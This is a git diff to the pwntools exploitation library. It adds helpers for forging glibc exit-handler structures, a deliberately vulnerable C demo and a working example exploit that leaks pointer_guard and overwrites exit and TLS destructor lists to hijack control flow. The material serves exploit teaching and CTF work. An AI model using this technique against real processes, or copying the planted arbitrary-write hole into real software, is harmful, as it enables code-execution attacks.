diff --git a/CHANGELOG.md b/CHANGELOG.md index 36d8558e45..377216f001 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -117,6 +117,7 @@ The table below shows which release corresponds to each branch, and what date th - [#2669][2669] asm: try native binutils before fallback architectures - [#2673][2673] Add libc module for libc-related functions - [#2680][2680] Cleanup Python 2 legacy +- [#2683][2683] libc: add atexit functions for glibc exploits - [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()` - [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()` - [#2682][2682] Fix `server.close()` not closing the listen socket @@ -168,6 +169,7 @@ The table below shows which release corresponds to each branch, and what date th [2669]: https://github.com/Gallopsled/pwntools/pull/2669 [2673]: https://github.com/Gallopsled/pwntools/pull/2673 [2680]: https://github.com/Gallopsled/pwntools/pull/2680 +[2683]: https://github.com/Gallopsled/pwntools/pull/2683 [2687]: https://github.com/Gallopsled/pwntools/pull/2687 [2699]: https://github.com/Gallopsled/pwntools/pull/2699 [2682]: https://github.com/Gallopsled/pwntools/pull/2682 diff --git a/examples/exit-handlers/exploit.py b/examples/exit-handlers/exploit.py new file mode 100644 index 0000000000..7b8cea155b --- /dev/null +++ b/examples/exit-handlers/exploit.py @@ -0,0 +1,72 @@ +# The prebuilt binary is compiled in Arch Linux with glibc 2.43 +from pwn import * +import shutil +import tempfile +import os + +context.log_level = 'debug' +context.arch = 'amd64' +EXE = './vulnerable' +t = process(EXE) +elf = ELF(EXE) + +# Copy libc so later we can unstrip it +libc = elf.libc +tmpfd, tmpname = tempfile.mkstemp() +print(tmpfd) +with open(libc.file.name, 'rb') as f: + shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb')) + +libcdb.unstrip_libc(tmpname) +libc = ELF(tmpname) + +# Now fetch information +# XXX: in my build, the tls variable locates at fs:[-4] +t.recvuntil(b': ') +tls = int(t.recvline(), 16) +info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}') + +t.recvuntil(b': ') +handle = int(t.recvline(), 16) + +t.recvuntil(b': ') +libc_base = int(t.recvline(), 16) - libc.symbols['puts'] +info(f'Leak libc_base: {libc_base:#x}') +libc.address = libc_base + +t.recvuntil(b': ') +chunk = int(t.recvline(), 16) + +# Then read pointer_guard value +t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode()) +t.recvuntil(b': ') +guard = int(t.recvline(), 16) +info(f'Guard is: {guard:#x}') + +# Next overwrite initial and tls_dtors +t.recvuntil(b'%p=%lx') +# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced +# on glibc 2.43, the offset is 0x498 +tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0) +g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0) +g_dtor_list = glibc.ExitFuncList(0, [g_dtor]) + +def write_object(addr: int, blob: bytes) -> str: + return ' '.join( + f'{addr + i:#x}={u64(blob[i:i + 8]):#x}' + for i in range(0, len(blob), 8) + ) + +# Firstly, write glibc initial to overwrite global dtor +t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode()) +# Secondly, write tls dtor +t.sendline(write_object(chunk, bytes(tls_dtor)).encode()) +# XXX: tls_dtor_list must be free-able +# XXX: tls_dtor_list is not hard-encoded (in glibc GOT), +# on my machine it's fs:[-0x48] +t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode()) +# Thirdly, terminate cycle +t.sendline(b'x') +# Finally, wait for exit +t.recvuntil(b'happen:\n') +t.interactive() diff --git a/examples/exit-handlers/vulnerable b/examples/exit-handlers/vulnerable new file mode 100755 index 0000000000..66df6ed247 Binary files /dev/null and b/examples/exit-handlers/vulnerable differ diff --git a/examples/exit-handlers/vulnerable.c b/examples/exit-handlers/vulnerable.c new file mode 100644 index 0000000000..a6586d2b9b --- /dev/null +++ b/examples/exit-handlers/vulnerable.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include + +thread_local int x; + +void malicious_handler(void *arg) { + printf("Calling handler with %p\n", arg); +} + +int main(void) { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("Assume you have some way to leak information about TLS: %p\n", &x); + printf("Some more information about function to hijack: %p\n", malicious_handler); + printf("You can't exploit without glibc: %p\n", puts); + + void *p = malloc(0x500); + printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p); + + printf("Then you have some way to read/write pointer_guard\n"); + size_t *where = NULL; + printf("Where to read? %%p > "); + scanf("%p", &where); + printf("Dereferenced value: %#lx\n", where ? *where : 0); + + printf("Now perform arbitrary write ability on hijack exit handlers...\n"); + printf("Write addresses in pairs: %%p=%%lx\n"); + size_t value = 0; + while (scanf("%p=%lx", &where, &value) == 2) { + *where = value; + } + + printf("Let's exit to see what will happen:\n"); + return 0; +} diff --git a/pwnlib/context/__init__.py b/pwnlib/context/__init__.py index b9c22ce703..614fff74a8 100644 --- a/pwnlib/context/__init__.py +++ b/pwnlib/context/__init__.py @@ -1585,7 +1585,7 @@ def windbg_binary(self, value): This is useful when you have multiple versions of WinDbg installed or the WinDbg binary is called something different. - Usually, it is installed to ``C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe``. + Usually, it is installed to ``C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe``. Adding the path to the Windows SDK to your PATH variable is recommended. If set to an empty string, pwntools will try to search for a reasonable WinDbg binary from @@ -1602,7 +1602,7 @@ def windbgx_binary(self, value): This is useful when you have multiple versions of WinDbgX installed or the WinDbgX binary is called something different. - Usually, it is installed to ``%LocalAppData%\Microsoft\WindowsApps\WinDbgX.exe``. + Usually, it is installed to ``%LocalAppData%\\Microsoft\\WindowsApps\\WinDbgX.exe``. If set to an empty string, pwntools will try to search for a reasonable WinDbgX binary from the path. diff --git a/pwnlib/libc/glibc.py b/pwnlib/libc/glibc.py index 6ae4d0bfee..94c2e8cb9a 100644 --- a/pwnlib/libc/glibc.py +++ b/pwnlib/libc/glibc.py @@ -1,8 +1,12 @@ """ Some glibc related convenient functions. """ +from __future__ import annotations +from enum import IntEnum + from pwnlib.context import context from pwnlib.util.fiddling import ror, rol +from pwnlib.util.packing import flat, unpack, unpack_many, _need_bytes def ptr_mangle(guard: int, value: int) -> int: """ @@ -63,10 +67,10 @@ def protect_ptr(word_addr: int, value: int) -> int: Arguments: word_addr(int): The address of where ``value`` is stored. - value(int): The value to protect/reveal + value(int): The value to protect/reveal. Returns: - Protected/Revealed value + Protected/Revealed value. Examples: >>> hex(glibc.protect_ptr(0x5e5555556700, 0)) @@ -107,3 +111,312 @@ def reveal_ptr_same_page(ptr_value: int) -> int: ptr_value ^= key >> 12 mask >>= 12 return ptr_value + + +class ExitFlavor(IntEnum): + """Enum adapted from glibc ``exit.h``. Check definitions from `here`_. + + Original enums are: ``ef_free``, ``ef_us``, ``ef_on``, ``ef_at`` + and ``ef_cxa``. + + .. _here: + https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L25-L32 + + """ + FREE = 0 + USED = 1 + ON = 2 + AT = 3 + CXA = 4 + +class ExitFunc: + """ + Craft a ``struct exit_function`` object. If user has arbitrary write + to libc area and knows pointer guard used in ``PTR_MANGLE``, then + the user is able to hijack control flow when process exits. Check + definitions `here`_. + + Arguments: + flavor(ExitFlavor): Which flavor of exit func is registered. + func(int): A pointer to function to execute. + guard(int): Process ``POINTER_GUARD``. + arg(int): Optional. ``onexit`` and ``cxa_exit`` require it. + dso(int): Optional. ``cxa_exit`` require it. (dso_handle) + + Examples: + >>> context.clear(arch='amd64') + >>> glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0) + ExitFunc(FREE) + >>> glibc.ExitFunc(glibc.ExitFlavor.CXA, 0x401f0, 0x13371337deadbeef, 0x238900000680, 0x44008) + ExitFunc(CXA, fn=0x401f0 ^ 0x13371337deadbeef, arg=0x238900000680, dso_handle=0x44008) + >>> exit_func = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337deadbeef) + >>> exit_func + ExitFunc(AT, fn=0x401f0 ^ 0x13371337deadbeef) + >>> bytes(exit_func).hex() + '03000000000000006e263e7e53bd6f26' + + .. _here: + https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L34-L54 + + """ + flavor: ExitFlavor + fn: int + guard: int + arg: int + dso: int + + def __init__(self, flavor: ExitFlavor, func: int, guard: int, + arg: int | None = None, dso: int | None = None): + self.flavor = flavor + self.fn = func + self.guard = guard + self.arg = arg + self.dso = dso + + match flavor: + case ExitFlavor.ON: + if arg is None: + raise TypeError(f'on_exit requires an arg pointer') + case ExitFlavor.FREE | ExitFlavor.USED | ExitFlavor.AT: + pass + case ExitFlavor.CXA: + if arg is None or dso is None: + raise TypeError(f'cxa_exit requires both arg and dso_handle pointer') + case _: + raise TypeError(f'flavor must be an ExitFlavor, instead of {type(flavor)}') + + def __repr__(self) -> str: + match self.flavor: + case ExitFlavor.ON: + extra = f', arg={self.arg:#x}' + case ExitFlavor.AT: + extra = '' + case ExitFlavor.CXA: + extra = f', arg={self.arg:#x}, dso_handle={self.dso:#x}' + case ExitFlavor.USED | ExitFlavor.FREE: + return f'{type(self).__name__}({self.flavor.name})' + + return ( + f'{type(self).__name__}({self.flavor.name}, ' + f'fn={self.fn:#x} ^ {self.guard:#x}{extra})' + ) + + def __bytes__(self) -> bytes: + match self.flavor: + case ExitFlavor.ON: + return flat(self.flavor, ptr_mangle(self.guard, self.fn), + self.arg) + case ExitFlavor.AT: + return flat(self.flavor, ptr_mangle(self.guard, self.fn)) + case ExitFlavor.CXA: + return flat(self.flavor, ptr_mangle(self.guard, self.fn), + self.arg, self.dso) + case ExitFlavor.FREE | ExitFlavor.USED: + return flat(self.flavor) + + def __flat__(self) -> bytes: + return bytes(self) + + @staticmethod + def from_bytes(data: bytes, guard: int) -> ExitFunc: + """ + Construct an ``ExitFunc`` from bytes object. + + Arguments: + data(bytes): The bytes object to convert to ``ExitFunc``. Must be aligned + to ``context.arch`` word boundry. + guard(int): Process ``POINTER_GUARD`` to demangle pointers. + + Examples: + >>> context.clear(arch='amd64') + >>> guard = 0x2f21c4a298024bcd + >>> blob = bytes.fromhex('0300000000000000435ea835ae9aef23') + >>> glibc.ExitFunc.from_bytes(blob, guard) + ExitFunc(AT, fn=0x555555555119 ^ 0x2f21c4a298024bcd) + >>> blob = bytes.fromhex('0200000000000000435ea835ae9aef230000371337130000') + >>> glibc.ExitFunc.from_bytes(blob, guard) + ExitFunc(ON, fn=0x555555555119 ^ 0x2f21c4a298024bcd, arg=0x133713370000) + >>> blob = bytes.fromhex('0000000000000000') + >>> glibc.ExitFunc.from_bytes(blob, guard) + ExitFunc(FREE) + >>> blob = bytes.fromhex('0100000000000000') + >>> glibc.ExitFunc.from_bytes(blob, guard) + ExitFunc(USED) + """ + data = _need_bytes(data) + if len(data) % context.bytes != 0 or len(data) == 0: + raise ValueError(f'data must be aligned to word boundry ({context.bytes} bytes)') + words = unpack_many(data) + try: + flavor = ExitFlavor(words[0]) + match flavor: + case ExitFlavor.FREE | ExitFlavor.USED: + return ExitFunc(flavor, 0, guard) + case ExitFlavor.ON: + return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard, + words[2]) + case ExitFlavor.AT: + return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard) + case ExitFlavor.CXA: + return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard, + words[2], words[3]) + except IndexError: + raise ValueError(f'Insufficient data when decoding ExitFunc') from None + + +class ExitFuncList: + """ + Craft a ``struct exit_function_list`` object. glibc has a static variable + ``initial`` to store most atexit objects and a pointer ``__exit_funcs`` + pointing to ``initial``. Check definitions from `here`_. + + Arguments: + nextp(int): Next ``struct exit_function_list`` pointer on chain. + fns(list[ExitFunc]): Registered exit functions + + Attributes: + idx(int): Total size of registered exit funcs. + (This field is automatically obtained via ``len(funcs)``) + + Examples: + >>> context.clear(arch='i386') + >>> fa = glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0) + >>> fb = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337) + >>> flist = glibc.ExitFuncList(0, [fa, fb]) + >>> flist + ExitFuncList(next=0x0, idx=2, fns=[ExitFunc(FREE), ExitFunc(AT, fn=0x401f0 ^ 0x13371337)]) + >>> bytes(flist).hex() + '00000000020000000000000000000000000000000000000003000000268e25660000000000000000' + + .. _here: + https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L55-L60 + + """ + nextp: int + idx: int + fns: list[ExitFunc] + + def __init__(self, nextp: int, fns: list[ExitFunc]): + self.nextp = nextp + self.fns = fns + self.idx = len(fns) + + def __repr__(self) -> str: + return ( + f'{type(self).__name__}(next={self.nextp:#x}, ' + f'idx={self.idx}, fns={self.fns})' + ) + + def __bytes__(self) -> bytes: + func_sz = 4 * context.bytes + return flat( + self.nextp, self.idx, + [bytes(fn).ljust(func_sz, b'\x00') for fn in self.fns], + ) + + def __flat__(self) -> bytes: + return bytes(self) + + @staticmethod + def from_bytes(data: bytes, guard: int) -> ExitFuncList: + """ + Construct an ``ExitFuncList`` from bytes object. + + Arguments: + data(bytes): The bytes object to convert to ``ExitFuncList``. Should be + large enough to resolve all entries specified by ``idx``. + guard(int): Process ``POINTER_GUARD`` to demangle pointers. + + Examples: + >>> context.clear(arch='amd64') + >>> guard = 0x2d42599562d398bb + >>> blob = bytes.fromhex('000000000000000001000000000000000400000000000000845ab66f5e2ad54c00000000000000000000000000000000') + >>> glibc.ExitFuncList.from_bytes(blob, guard) + ExitFuncList(next=0x0, idx=1, fns=[ExitFunc(CXA, fn=0x7ffff7fcaf60 ^ 0x2d42599562d398bb, arg=0x0, dso_handle=0x0)]) + """ + data = _need_bytes(data) + try: + nextp = unpack(data[0:context.bytes]) + size = unpack(data[context.bytes:context.bytes * 2]) + off = context.bytes * 2 + func_sz = 4 * context.bytes + fns = [ExitFunc.from_bytes(data[off + i * func_sz:off + (i + 1) * func_sz], guard) + for i in range(size)] + return ExitFuncList(nextp, fns) + except IndexError: + raise ValueError(f'Insufficient data when decoding ExitFuncList') from None + +class ExitDtorList: + """ + Craft a ``struct dtor_list`` object. glibc will invoke functions in it + if it's not null when exits. Note that to avoid program aborting, the + ``ExitDtorList`` pointer must be free-able. Check definitions from `here`_. + + Arguments: + func(int): A pointer to function to execute. + guard(int): Process ``POINTER_GUARD``. + obj(int): Argument passed to ``func``. + lmap(int): A valid pointer to a ``link_map`` if you want + program not to abort. (``func`` is executed first.) + nextl(int): Next ``ExitDtorList`` on chain. ``0`` means end of chain. + + Examples: + >>> context.clear(arch='amd64') + >>> dtor = glibc.ExitDtorList(0x402c0, 0xdeadbeef, 0, 0, 0) + >>> dtor + ExitDtorList(func=0x402c0 ^ 0xdeadbeef, obj=0x0, map=0x0, next=0x0) + >>> bytes(dtor).hex() + '00005e7853bd0100000000000000000000000000000000000000000000000000' + + .. _here: + https://elixir.bootlin.com/glibc/glibc-2.38/source/stdlib/cxa_thread_atexit_impl.c#L82-L88 + + """ + func: int + guard: int + obj: int + lmap: int + nextl: int + + def __init__(self, func: int, guard: int, obj: int, lmap: int, nextl: int): + self.func = func + self.guard = guard + self.obj = obj + self.lmap = lmap + self.nextl = nextl + + def __repr__(self) -> str: + return ( + f'{type(self).__name__}(func={self.func:#x} ^ {self.guard:#x}, ' + f'obj={self.obj:#x}, map={self.lmap:#x}, next={self.nextl:#x})' + ) + + def __bytes__(self) -> bytes: + return flat(ptr_mangle(self.guard, self.func), + self.obj, self.lmap, self.nextl) + + def __flat__(self) -> bytes: + return bytes(self) + + @staticmethod + def from_bytes(data: bytes, guard: int) -> ExitFuncList: + """ + Construct an ``ExitDtorList`` from bytes object. + + Arguments: + data(bytes): The bytes object to convert to ``ExitDtorList``, whose + length should exactly be ``4 * sizeof(size_t)``. + guard(int): Process ``POINTER_GUARD`` to demangle pointers. + + Examples: + >>> context.clear(arch='amd64') + >>> guard = 0xd36a59fe4e9853d8 + >>> blob = bytes.fromhex('d4a611029a375619000000000000000010915555555500000000000000000000') + >>> glibc.ExitDtorList.from_bytes(blob, guard) + ExitDtorList(func=0x5555555552d0 ^ 0xd36a59fe4e9853d8, obj=0x0, map=0x555555559110, next=0x0) + """ + data = _need_bytes(data) + if len(data) != 4 * context.bytes: + raise ValueError(f'The Length of data is not {4 * context.bytes}') + func, obj, lmap, nextl = unpack_many(data) + return ExitDtorList(ptr_demangle(guard, func), guard, obj, lmap, nextl)